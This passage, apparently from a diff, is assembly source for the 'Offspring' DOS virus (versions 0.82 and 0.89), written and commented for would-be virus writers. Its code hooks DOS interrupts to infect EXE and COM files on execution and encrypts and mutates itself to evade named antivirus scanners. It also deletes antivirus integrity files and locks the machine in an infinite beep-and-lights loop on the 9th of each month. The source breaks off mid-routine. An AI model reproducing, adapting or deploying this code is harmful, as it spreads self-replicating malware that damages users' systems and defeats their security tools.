; - No longer detectable by Mcafee SCAN as anything.
; - No longer detectable by TBAV heuristics.
;
;
; INFECTION METHOD : Everytime DOS function 4Bh (Execute File)
; is called the virus will infect up to 5 files
; in the current directory. It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; encryption routine switches from using di to si.
; Not anything overly amazing, but it works.
;
;
;
;
title offspring_1
.286
cseg segment
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
signal equ 7dh ; Installation check
reply equ 0fch ; reply to check
f_name equ 1eh ; Offset of file name in FF/FN buffer
f_sizel equ 1ch ; File size - low - loc in mem
f_sizeh equ 1ah ; File size - high - loc in mem
f_date equ 18h ; File date - loc in mem
f_time equ 16h ; File time - loc in mem
max_inf equ 05 ; Maximum files to infect per run
max_rotation equ 9 ; number of bytes in switch byte table
parastic equ 01 ; Parastic infection
spawn equ 00 ; Spawning infection
org 100h ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
start:
skip_dec:
jmp main ; Skip decryption, changes into NOP on
; replicated copies.
di_op db 0bfh
mov_di dw offset enc_data+2 ; Point to byte after encryption num
;
;-------------------------
; Encryption/Decryption
encrypt:
cx_m db 90h,0b9h ; MOV CX
b_wr dw (offset vend-offset enc_data)/2
xor_loop:
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
sw_byte3: ; INC xx changes position in these bytes
inc di
nop
nop
sw_byte4:
inc di
nop
nop
loop xor_loop ; loop while cx != 0
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
enc_data: ; Start of encrypted data
;-------------------------------
; Non-Resident portion of virus
;-------------------------------
main proc
db 0bdh ; MOV BP,xxxx - Load delta offset
set_bp:
dw 0000
mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
mov ax,ds: 002ch ; Get environment address
mov par_blk[bp],ax ; Save in parameter block for exec
mov par1[bp],cs ; Save segments for EXEC
mov par2[bp],cs
mov par_seg[bp],cs
mov ah,2ah ; Get date
int 21h
cmp dl,9 ; 9th?
jne no_display
mov ah,09 ; display virus name
lea dx,vname[bp]
int 21h
xor ax,ax ; seg 0
mov es,ax
mov dx,1010101010101010b ; lights
chg_lights: ; Infinite loop to change keyboard
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
ror dx,1 ; rotate bits
mov cx,0101h ; scan code/ascii
mov ah,05h ; push a beep onto keyb buf
int 16h
mov ah,10h ; Read key back so we don't fill
int 16h ; up the keyboard buffer
int 5h ; Print-Screen
mov ax,0a07h ; Write BEEP to screen
xor bh,bh
mov cx,1
int 10h
mov ah,86h ; Delay
mov cx,0002h
int 15h
jmp chg_lights
no_display:
call install ; check if installed, if not install
cmp byte ptr vtype[bp],parastic
je com_return
mov bx,(offset vend+50) ; Calculate memory needed
mov cl,4 ; divide by 16
shr bx,cl
inc bx
mov ah,4ah
int 21h ; Release un-needed memory
lea dx,file_dir-1[bp] ; Execute the original EXE
lea bx,par_blk[bp]
mov ch,0FBh ; tell mem. resident virus
mov ax,4b00h ; that it's us.
int 21h
mov ah,4ch ; Exit
int 21h
com_return:
mov si,bp
mov cx,6 ; Restore original first
add si,offset org_bytes ; six bytes of COM file
mov di,0100h
cld
rep movsb
mov ax,0100h ; Simulate CALL return to 0100h
push ax
ret
main endp
;--------------------------------------
; INSTALL - Install the virus
;--------------------------------------
install proc
mov ah,signal
int 21h
cmp ah,reply
je no_install
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
;the chain?
jne no_install
mov ax,ds: [3] ;Block size in MCB
sub ax,190 ;Shrink Block Size-quick estimate
mov ds: [3],ax
mov bx,ax
mov ax,es
add ax,bx
mov es,ax ;Find high memory seg
mov si,bp
add si,0100h
mov cx,(offset vend - offset start)
mov ax,ds
inc ax
mov ds,ax
mov di,100h ; New location in high memory
cld
rep movsb ; Copy virus to high memory
push es
pop ds
xor ax,ax
mov es,ax ; null es
mov ax,es: [21h*4+2]
mov bx,es: [21h*4]
mov ds: old21_seg,ax ; Store segment
mov ds: old21_ofs,bx ; Store offset
cli
mov es: [21h*4+2],ds ; Save seg
lea ax, new21
mov es: [21h*4],ax ; off
sti
no_install:
push cs ; Restore regs
pop ds
push cs
pop es
ret
install endp
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
new21 proc ; New INT 21H handler
cmp ah, signal ; signaling us?
jne no
mov ah,reply ; yep, give our offspring what he wants
jmp end_21
no:
cmp ax,4b00h ; exec func?
je exec_func
jmp end_21
exec_func:
cmp ch,0FBh
je end_21
run_res:
pushf
push ax ; Push regs
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push sp
push ss
push cs
pop ds
xor ax,ax ; nullify ES
mov es,ax
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
je rel_mem ;
cmp ah,48h ; alloc. mem block? If so we subtract 3k from
je set_mem ; total system memory.
jmp no_mem_func
set_mem:
sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
inc byte ptr add_mem ; make sure we know to add this back
jmp no_mem_func
rel_mem:
add word ptr es: [413h],3 ; Add 3k to total sys mem
dec byte ptr add_mem
no_mem_func:
mov ah,2fh
int 21h ; Get the DTA
mov ax,es
mov word ptr old_dta,bx
mov word ptr old_dta+2,ax
push cs
pop es
call resident ; Call infection kernal
mov dx,word ptr old_dta
mov ax,word ptr old_dta+2
mov ds,ax
mov ah,1ah
int 21h ; Restore the DTA
pop ss ; Pop regs
pop sp
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
popf
end_21 :
db 0eah ; jump to original int 21h
old21_ofs dw 0 ; Offset of old INT 21H
old21_seg dw 0 ; Seg of old INT 21h
new21 endp ; End of handler
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
resident proc
mov byte ptr vtype,spawn
mov word ptr set_bp,0000 ; BP=0000 on load
mov byte ptr inf_count,0 ; null infection count
mov fname_off, offset fname1 ; Set search for *.EXE
mov word ptr mov_di,offset enc_data+2
find_first:
mov word ptr vend,0 ; Clear ff/fn buffer
lea si, vend
lea di, vend+2
mov cx, 22
cld
rep movsw
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
mov ah, 1ah
lea dx, vend
int 21h
mov ah, 4eh ; Findfirst
mov cx, 0 ; Set normal file attribute search
mov dx, fname_off
int 21h
jnc next_loop ; if still finding files then loop
jmp end_prog
next_loop :
cmp byte ptr vtype, parastic ; parastic infection?
je start_inf ; yes, skip all this
mov ah,47h
xor dl,dl
lea si,file_dir
int 21h
cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
je ok_find ; for spawning infections
jmp find_file
ok_find:
xor bx,bx
lm3 : ; find end of directory name
inc bx
cmp file_dir[bx],0
jne lm3
mov file_dir[bx],'\' ; append backslash to path
inc bx
mov cx,13 ; append filename to path
lea si,vend[f_name]
lea di,file_dir[bx]
cld
rep movsb
xor bx,bx
mov bx,1eh
loop_me: ; search for filename ext.
inc bx
cmp byte ptr vend[bx], '.'
jne loop_me
inc bx ; change it to COM
mov word ptr vend [bx],'OC'
mov byte ptr vend [bx+2],'M'
start_inf:
cmp byte ptr vtype, parastic ; parastic infection?
je parastic_inf ; yes.. so jump
;--------------------------------------
; Spawning infection
lea dx, vend[f_name]
mov ah, 3ch ; Create file
mov cx, 02h ; READ-ONLY
or cx, 01h ; Hidden
int 21h ; Call INT 21H
jnc contin ; If Error-probably already infected
jmp no_infect
contin:
inc inf_count
mov bx,ax
jmp encrypt_ops
;----------------------------------------
; Parastic infection
parastic_inf :
cmp word ptr vend+f_sizeh,400h
jge cont_inf2
jmp no_infect
cont_inf2:
lea si,vend+f_name ; Is Command.COM?
lea di,com_name
mov cx,11
cld
repe cmpsb
jne cont_inf0 ; Yes, don't infect
jmp no_infect
cont_inf0:
mov ax,3d02h ; Open file for reading & writing
lea dx,vend+f_name ; Filename in FF/FN buffer
int 21h
jnc cont_inf1 ; error, skip infection
jmp no_infect
cont_inf1:
mov bx,ax
mov ah,3fh ; Read first bytes of file
mov cx,06
lea dx,org_bytes
int 21h
cmp word ptr org_bytes,09090h
jne cont_inf
mov ah,3eh
int 21h
jmp no_infect
cont_inf:
inc inf_count
mov ax,4202h ; Set pointer to end of file, so we
xor cx,cx ; can find the file size
xor dx,dx
int 21h
mov word ptr set_bp,ax ; Change the MOV BP inst.
add ax, offset enc_data+2
mov word ptr mov_di,ax ; chg mov di,xxxx
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ax,word ptr vend+f_sizeh
sub ax,6
mov word ptr new_jmp+1,ax
mov ah,40h
mov cx,6
lea dx,new_code
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
encrypt_ops:
;-----------------------------
; Change encryptions ops
push bx
cmp pad_bytes,50
je reset_pad
inc word ptr pad_bytes ; Increase file size
inc word ptr b_wr
jmp pad_ok
reset_pad:
mov ax,pad_bytes
sub word ptr b_wr,ax
xor ax,ax
mov pad_bytes,ax
pad_ok:
cmp inc_op,47h ; change ops from DI to SI
jne set2
dec inc_op
dec byte ptr xor_op+1
dec di_op
dec byte ptr enc_addr
dec byte ptr enc_add+1
jmp chg_three
set2:
inc inc_op
inc byte ptr xor_op+1
inc di_op
inc byte ptr enc_addr
inc byte ptr enc_add+1
chg_three:
mov ah,inc_op
xor cx,cx
lea di,sw_byte3
chg_four:
xor bx,bx ; Switch INC xx's location
cmp word ptr [di],9090h
je mov_pos
inc bx
inc bx
cmp byte ptr [di+1],90h ; is second byte not 90h
je mov_pos
dec bx
mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
mov byte ptr [di+2],90h ; to NOP
mov byte ptr [di+bx],ah ; place inc xx in other byte
lea di,sw_byte4
inc cx
cmp cx,1
je chg_four
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
d2:
mov ah,2ch ;
int 21h ; Get random number from clock - millisecs
mov word ptr xor_op+2,dx ; save encryption #
mov si,0100h
lea di,vend+50 ; destination
mov cx,offset vend-100h ; bytes to move
cld
rep movsb ; copy virus outside of code
enc_addr:
mov di,offset vend
enc_add:
add di,offset enc_data-100h+52 ; offset of new copy of virus
go_enc:
mov byte ptr ret_byte,0c3h
call encrypt ; encrypt new copy of virus
mov byte ptr ret_byte,90h
;----------------------------------------
; Write and close new infected file
pop bx
mov cx, offset vend-100h ; # of bytes to write
add cx, pad_bytes
lea dx, vend+50 ; Offset of buffer
mov ah, 40h ; -- our program in memory
int 21h ; Call INT 21H function 40h
mov ax,5701h ; Restore data/time
mov cx,word ptr vend[f_time]
mov dx,word ptr vend[f_date]
int 21h
close:
mov ah, 3eh
int 21h
no_infect:
; Find next file
find_file :
cmp inf_count, max_inf
je end_prog
mov ah,4fh
int 21h
jc end_prog
jmp next_loop
end_prog:
exit :
cmp inf_count,0 ; Start parastic infection on next run
jne find_done
cmp byte ptr vtype, parastic ; Parastic infection done?
je find_done
mov fname_off, offset fname2 ; Point to new filespec
mov byte ptr vtype, parastic ; virus type = parastic
jmp find_first
find_done:
mov byte ptr vtype,spawn
mov fname_off, offset fname1
ret
resident endp
vtype db spawn ; Infection type
rot_num dw 0000 ; Used when replacing bytes with OP_SET
inf_count db 0 ; How many files we have infected this run
com_name db 'COMMAND.COM' ; obvious
new_code db 90h,90h,90h ; preceed with three NOPs
new_jmp db 0e9h,00,00 ; New Jump
org_bytes db 7 dup(0) ; original first six bytes of parastic inf.
pad_bytes dw 0 ; Increase in viru size
add_mem db 0 ; Add memory back?
old_dta dd 0 ; Old DTA Segment:Address
inc_op db 47h ; INC DI (47h) or INC SI (46h)
copyr db '(c)1993 negoriV' ; my copyright
vname db 0ah,0dh,'OFFSPRING V0.82','$'
fname1 db '*.EXE',0 ; Filespec
fname2 db '*.COM',0 ; Filespec
fname_off dw fname1 ; Offset of Filespec to use
times_inc db 0 ; # of times encryption call incremented
sl db '\' ; Backslash for directory name
file_dir db 64 dup(0) ; directory of file we infected
file_name db 13 dup(0) ; filename of file we infected
par_blk dw 0 ; command line count byte -psp
par_cmd dw 0080h ; Point to the command line -psp
par_seg dw 0 ; seg
dw 05ch ; Use default FCB's in psp to save space
par1 dw 0 ;
dw 06ch ; FCB #2
par2 dw 0 ;
vend: ; End of virus
cseg ends
end start

View File

@ -0,0 +1,903 @@
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ************************************************
; OFFSPRING v0.89 - BY VIROGEN - 10-03-93
; ************************************************
; - Compatible with : TASM /m2
;
;
; .. Welcome to another virogen viral creation! I'm supplying this source
; code so hopefully beginners in the art of virus writing can learn something
; from it. Please don't hack up this code and put your name on it.. thank
; ya, thank ya very much! Oh yea, one more thing.. say whoever gave Mcafee
; a real OLD version of this virus, just keep giving him that same one eh?
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : 0.89
; - No longer detectable by TBAV heuristics.
; - No longer detectable by FPROT heuristics.
; - Infects on dir and drive change when no program running.
; deletes ANTI-VIR.DAT and CHKLST.* files at the same time.
; - finally went through and somewhat cleaned up the messy code
; at least a little bit.
; - mutation is improved
;
;
title offspring_1
cseg segment
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
signal equ 7dh ; Installation check
reply equ 0fch ; reply to check
max_inf equ 05 ; Maximum files to infect per run
max_rotation equ 9 ; number of bytes in switch byte table
parastic equ 01 ; Parastic infection
spawn equ 00 ; Spawning infection
org 100h ; Leave room for PSP
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Start of viral code
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
start:
new_code db 0B8h ; MOV NN,xxxx
dw main ; main
push_reg db 50h ; PUSH NN
db 0C3h ; RET - jump to NN
db 0E9h ; id byte - not code
trick_jmp db 0E9h ; fake jump - f00l tbav
dw 5999 ; random number 0-5999
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Encryption/Decryption
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
_enc:
di_op db 0bfh ; MOV DI|SI,XXXX
mov_di dw offset enc_data ; Point to byte after encryption num
encrypt:
cx_m db 90h,0b9h ; MOV CX
b_wr dw (offset vend-offset enc_data)/2
xor_loop:
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
fill_space: inc ax ; This is filled with INC XX's
inc ax ; kill F-PROT heuristic detection
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
sw_byte3: ; INC SI|DI changes position in these bytes
inc di ; INC SI|DI
inc ax ; INC xx
inc ax ; INC xx
sw_byte4:
inc di ; INC SI|DI
inc ax ; INC xx
inc ax ; INX xx
loop xor_loop ; loop while cx != 0
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
enc_data: ; Start of encrypted data
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Non-Resident portion of virus
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
main proc
db 0bdh ; MOV BP,xxxx - Load delta offset
set_bp: dw 0000
mov ax,ds: 002ch ; Get environment address
mov par_blk[bp],ax ; Save in parameter block for exec
mov par1[bp],cs ; Save segments for spawn
mov par2[bp],cs
mov par_seg[bp],cs
mov ah,2ah ; Get date
int 21h
cmp dl,9 ; 9th?
jne no_display
show_myself:
mov ah,09 ; display virus name
lea dx,v_id[bp]
int 21h
xor ax,ax ; seg 0
mov es,ax
mov dx,1010101010101010b ; lights
chg_lights: ; Infinite loop to change keyboard
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
ror dx,1 ; rotate bits
mov cx,0101h ; scan code/ascii
mov ah,05h ; push a beep onto keyb buf
int 16h
mov ah,10h ; Read key back so we don't fill
int 16h ; up the keyboard buffer
int 5h ; Print-Screen
mov ax,0a07h ; Write BEEP to screen
xor bh,bh
mov cx,1
int 10h
mov ah,86h ; Delay
mov cx,0002h
int 15h
jmp chg_lights
no_display:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INSTALL - Install the virus in memory
mov ah,signal ; is virus already in mem?
int 21h
cmp ah,reply ;
jne cont_i ; nope.. continue
jmp no_install ; yes.. don't install again
cont_i:
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
;the chain?
je cont_i2
jmp no_install
cont_i2:
mov ax,ds: [3] ;Block size in MCB
sub ax,230 ;Shrink Block Size-quick estimate
mov ds: [3],ax
mov bx,ax
mov ax,es
add ax,bx
mov es,ax ;Find high memory seg
mov si,bp
add si,0100h
mov cx,(offset vend - offset start)
mov ax,ds
inc ax
mov ds,ax
mov di,100h ; New location in high memory
cld
rep movsb ; Copy virus to high memory
push es
pop ds
xor ax,ax
mov es,ax ; null es
mov ax,es: [21h*4+2] ; store old int addresses
mov bx,es: [21h*4]
mov ds: old21_seg,ax
mov ds: old21_ofs,bx
mov ax, es: [20h*4+2]
mov bx, es:[20h*4]
mov ds: old_20_seg,ax
mov ds: old_20_ofs,bx
mov ax, es:[27h*4+2]
mov bx, es:[27h*4]
mov ds: old_27_seg,ax
mov ds: old_27_ofs,bx
cli ; disable interrrupts
mov es: [21h*4+2],ds ; Set new addresses
lea ax, new21
mov es: [21h*4],ax
mov es: [20h*4+2],ds
lea ax, new20
mov es: [20h*4],ax
mov es: [27h*4+2],ds
lea ax, new27
mov es: [27h*4],ax
sti ; re-enable interrupts
no_install:
push cs ; Restore segment regs
pop ds
push cs
pop es
cmp byte ptr vtype[bp],parastic ; parastic infection?
je com_return ; yes, return to start of COM
mov bx,(offset vend+50) ; Calculate memory needed
mov cl,4 ; divide by 16
shr bx,cl
inc bx
mov ah,4ah
int 21h ; Release un-needed memory
lea dx,file_dir-1[bp] ; Execute the original EXE
lea bx,par_blk[bp]
mov ch,0FBh ; tell mem. resident virus
mov ax,4b00h ; that it's us.
int 21h
mov ah,4ch ; Exit
int 21h
com_return:
inc dir_infect
mov si,bp ;
mov cx,7 ; Restore original first
add si,offset org_bytes ; seven bytes of COM file
mov di,0100h ;
cld ;
rep movsb ;
mov ax,0100h ; Jump back to 100h - start of
push ax ; original program
ret ;
main endp
;************************************************************************
; Interrupt handlers
;************************************************************************
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 27h - terminate stay resident
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new27 proc
dec byte ptr cs:[dir_infect] ; decrement running counter
db 0EAh ; Jump to original offset, seg
old_27_ofs dw 0
old_27_seg dw 0
new27 endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; INT 20h - terminate process
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new20 proc
dec byte ptr cs:[dir_infect] ; decrement running counter
db 0EAh ; Jump to original offset, seg
old_20_ofs dw 0
old_20_seg dw 0
new20 endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 24h - Critical Error Handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
eh proc
mov al,3 ; fail call
iret ; interrupt return
eh endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 21h - DOS function calls
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new21 proc ; New INT 21H handler
cmp ah, signal ; signaling us?
jne no
mov ah,reply ; yep, give our offspring what he wants
jmp end_21
no:
cmp ax,4b00h ; exec func?
jne check_other
inc byte ptr cs:[dir_infect]
jmp exec_func
check_other:
cmp ah,3Bh ; change directory?
je kill_func ; yes, kill CHKLIST.* files
cmp ah,0Eh ; change drive?
je kill_func ; yes, kill CHKLIST.* files
cmp ah,4ch ; terminate process?
je dec_counter ; yes, decrement running counter
cmp ah,31h ; tsr?
je dec_counter ; yes, decrement running counter
cmp ah,00h ; terminate process?
je dec_counter ; yes, decrement running counter
jmp end_21 ; return to original INT 21h
kill_func:
mov byte ptr cs:[kill_now],1 ; remember it's time to kill CRC
exec_func:
cmp ch,0FBh ; Is our virus executing this prog?
je end_21 ; yes, return to orginal INT 21h
run_res:
pushf ; Push flags
push ax ; Push regs
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push sp
push ss
push cs ; ds=cs
pop ds
xor ax,ax ; nullify ES
mov es,ax
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
je rel_mem ; yes, back to 640k
cmp ah,48h ; alloc. mem block? If so we subtract 4k from
je set_mem ; total system memory.
jmp no_mem_func ; don't f00l with memory now
set_mem:
sub word ptr es: [413h],4 ; Subtract 4k from total sys mem
inc byte ptr add_mem ; make sure we know to add this back
jmp no_mem_func
rel_mem:
add word ptr es: [413h],4 ; Add 4k to total sys mem
dec byte ptr add_mem
no_mem_func:
mov ah,2fh ; Get DTA Address
int 21h ;
mov ax,es ; Save it so we can restore it
mov word ptr old_dta,bx
mov word ptr old_dta+2,ax
push cs ; es=cs
pop es
call resident ; Call infection kernal
mov dx,word ptr old_dta ; restore DTA
mov ax,word ptr old_dta+2 ;
mov ds,ax ;
mov ah,1ah ;
int 21h ;
pop ss ; Pop regs
pop sp
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
popf ; Pop flags
end_21 :
db 0eah ; jump to original int 21h
old21_ofs dw 0 ; Offset of old INT 21H
old21_seg dw 0 ; Seg of old INT 21h
dec_counter:
dec byte ptr cs:[dir_infect] ; decrement running counter
jmp end_21
new21 endp ; End of handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Clear ff/fn buf
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
clear_buf proc
mov word ptr fcb,0 ; Clear ff/fn buffer
lea si, fcb
lea di, fcb+2
mov cx, 22
cld
rep movsw
ret
clear_buf endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Resident - This is called from out INT 21h handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
resident proc
xor ax,ax ; es=segment 0
mov es,ax ; ..
mov ax,es:[24h*4+2] ; get segment of INT 24h
mov bx,es:[24h*4] ; get offset of INT 24h
mov old_eh_seg,ax ; save segment
mov old_eh_off,bx ; save offset
cli ; turn off interrupts
mov es:[24h*4+2],ds ; set segment to our handler
lea ax,eh ;
mov es:[24h*4],ax ; set offset to our handler
sti
push ds ; es=ds
pop es
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
mov ah, 1ah
lea dx, fcb
int 21h
mov byte ptr vtype,spawn ; infection type = spawning
mov word ptr set_bp,0000 ; BP=0000 on load
mov byte ptr inf_count,0 ; null infection count
mov fname_off, offset fname1 ; Set search for *.EXE
mov word ptr mov_di,offset enc_data ; offset past encrypt.
cmp byte ptr kill_now, 1 ; change dir, or change drive func?
jne no_kill ; nope.. forget this shit
cmp dir_infect,0 ; are we running a program right now?
je cont_res ; nope.. keep going
jmp fd2 ; yes.. don't infect this time
cont_res:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; KIll chklist.* (MSAV,CPAV) and anti-vir.dat (TBAV) files
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
mov chk_spec_addr, offset chk_spec ; kill CHKLIST.* first
xor cx,cx ; keep track of which we've killed
kill_another_spec:
push cx
call clear_buf ; clear FCB
mov ah, 4eh ; Findfirst
xor cx, cx ; Set normal file attribute search
mov dx, chk_spec_addr
int 21h
jc done_kill ; none found.. done
kill_loop:
mov ax,4301h ; Set file attributes to null
xor cx,cx ;
lea dx,f_name ;
int 21h ;
mov ah,3ch ; create file = nullify size
xor cx,cx ;
lea dx,f_name ;
int 21h ;
push ax ; get handle
pop bx ;
mov ah,3eh ; close file
int 21h ;
mov ah,41h ; delete the file to finish 'er off
lea dx,f_name ;
int 21h ;
mov ah,4fh ; find next file
int 21h ;
jnc kill_loop ; if more then kill 'em
done_kill:
pop cx ; restore spec counter
inc cx ; increment spec counter
mov chk_spec_addr,offset chk_spec2 ; new file spec to kill
cmp cx,2 ; have we already killed both?
jne kill_another_spec ; nope.. kell 'em
no_kill:
mov kill_now,0 ; we killed them this time
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
find_first:
call clear_buf ; clear FCB again
mov ah, 4eh ; Findfirst
xor cx, cx ; Set normal file attribute search
mov dx, fname_off
int 21h
jnc next_loop ; if still finding files then loop
jmp end_prog ; if not.. then end this infection
next_loop :
cmp byte ptr vtype, parastic ; parastic infection?
je start_inf ; yes, skip all this
mov ah,47h ; get directory for
xor dl,dl ; ..spawning infections
lea si,file_dir ;
int 21h ;
cmp word ptr f_sizel,0 ; Make sure file isn't 64k+
je ok_find ; for spawning infections
jmp find_file
ok_find:
xor bx,bx ;
lm3 : ; find end of directory name
inc bx ;
cmp file_dir[bx],0
jne lm3
mov file_dir[bx],'\' ; append backslash to path
inc bx
mov cx,13 ; append filename to path
lea si,f_name
lea di,file_dir[bx]
cld
rep movsb
xor bx,bx
loop_me: ; search for filename ext.
inc bx
cmp byte ptr fcb+1eh [bx], '.'
jne loop_me
inc bx ; change it to COM
mov word ptr fcb+1eh [bx],'OC'
mov byte ptr fcb+1eh [bx+2],'M'
start_inf:
;ÄÄÄÄÄÄÄÄÄÄ
; Change jump & fill space register
;ÄÄÄÄÄÄÄÄÄÄ
cmp byte ptr new_code, 0BFh
jne inc_jmp
mov byte ptr new_code, 0B7h
mov byte ptr push_reg, 04Fh
mov nop_sub, 3Fh
inc_jmp:
inc byte ptr new_code ; incrment register
inc byte ptr push_reg ; increment register
mov dh,nop_sub ; get old register to inc/dec
mov old_nop_sub,dh ; save it.. to be used later
inc nop_sub ; increment register
jmp ok_jmp_changed
ok_jmp_changed:
cmp byte ptr vtype, parastic ; parastic infection?
je parastic_inf ; yes.. so jump
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
; Spawning infection
mov word ptr new_code+1,offset _enc
lea dx,f_name
mov cx, 02h ; read-only
or cx, 01h ; hidden
mov ah, 3ch ; Create file
int 21h ; Call INT 21H
jnc contin ; If Error-probably already infected
jmp no_infect
contin:
inc inf_count
mov bx,ax
jmp encrypt_ops
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
